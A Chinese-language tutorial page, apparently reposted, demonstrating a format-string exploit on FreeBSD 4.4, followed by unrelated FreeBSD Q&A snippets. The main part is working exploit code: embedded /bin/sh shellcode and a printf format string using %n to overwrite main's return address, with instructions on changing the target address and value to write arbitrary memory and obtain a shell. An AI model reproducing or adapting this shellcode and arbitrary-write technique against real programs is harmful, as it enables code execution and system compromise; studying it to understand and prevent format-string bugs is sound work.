欢迎您阅读本文,今天小编为你分享的电脑教程是:【FreeBSD格式化字符串简单演示】,下面是详细的讲解!
FreeBSD格式化字符串简单演示
#include
char shell[]=
"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";
long addr,length=shell-152;
char *pc=(char *)&addr;
int main(int argc,char * argv[])
{
long p[1];
char buff[76];
addr=(long ) &p[2];
sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\
%%nCCC%c%c%c%c",length,pc[0],pc[1],pc[2],pc[3]);
printf(buff);//所有的安全问题都在这,我们就是通过这得到shell的 ^_*
}
这样我们通过修改addr和length就能修改任意地址,写入任意内容
addr就是我们将要修改的地址
length+17x4+7 就是我们要填入的内容
在这儿addr=&p[2]就是main的返回地址 buff-28就是print返回地址 . . . .
length+17x4+7即为shell的地址,这样就回到了shell上运行得到了一个shell
当然你也可以指定addr为printf函数返回地址等 . . ..
gcc printfex.c -o ex
./ex >/dev/null#为了防止打印太多东西从定向(要不然shell出现之前得要打印几分钟)
好了现在什么也没有显示了,shell的输出都被从定向到/dev/null下了呵呵
随便敲一个 touch /tmp/testtest
exit
好了回到shell了去看看/tmp/testtest产生了没有.
//说明,本文不是入门级的,如果有什么不清楚请参阅网上相应文章
//最好建议自己打开gdb来调试
//Tested on FreeBSD4.4
__ by watercloud __
关于FreeBSD格式化字符串简单演示的用户互动如下:
相关问题:怎样设置FreeBSD的字符界面的分辨率
答:字符界面(非图形界面)的分辨率是无法设置的; 如果是图形界面下的终端显示,可以设置软件。 >>详细
相关问题:freebsd如何输出协议头和字符串
答:猜测,你是想知道FreeBSD在网络连接过程中,所产生的网络数据包中的协议头信息和具体的字符串。 一般情况下,都是用tcpdump过滤你想要的数据包,并生成文件,再对文件进行分析(比如用wireshark)。 当然也可以使用专有的网络设备旁路网络包,再... >>详细
相关问题:怎么修改freebsd的shell终端字符大小
答:对应bourse shell如下 #!/bin/sh set test1 test2 test3 test4 while [ $# -ne 0 ] do echo $1 shift done #!/bin/sh a=1 while [ $a -le 3 ] do echo "Starting loop $a:" b=1 while [ $b -le 3 ] do echo "Inside loop: $b" b=`expr $b + 1` d... >>详细
- 评论列表(网友评论仅供网友表达个人看法,并不表明本站同意其观点或证实其描述)
-
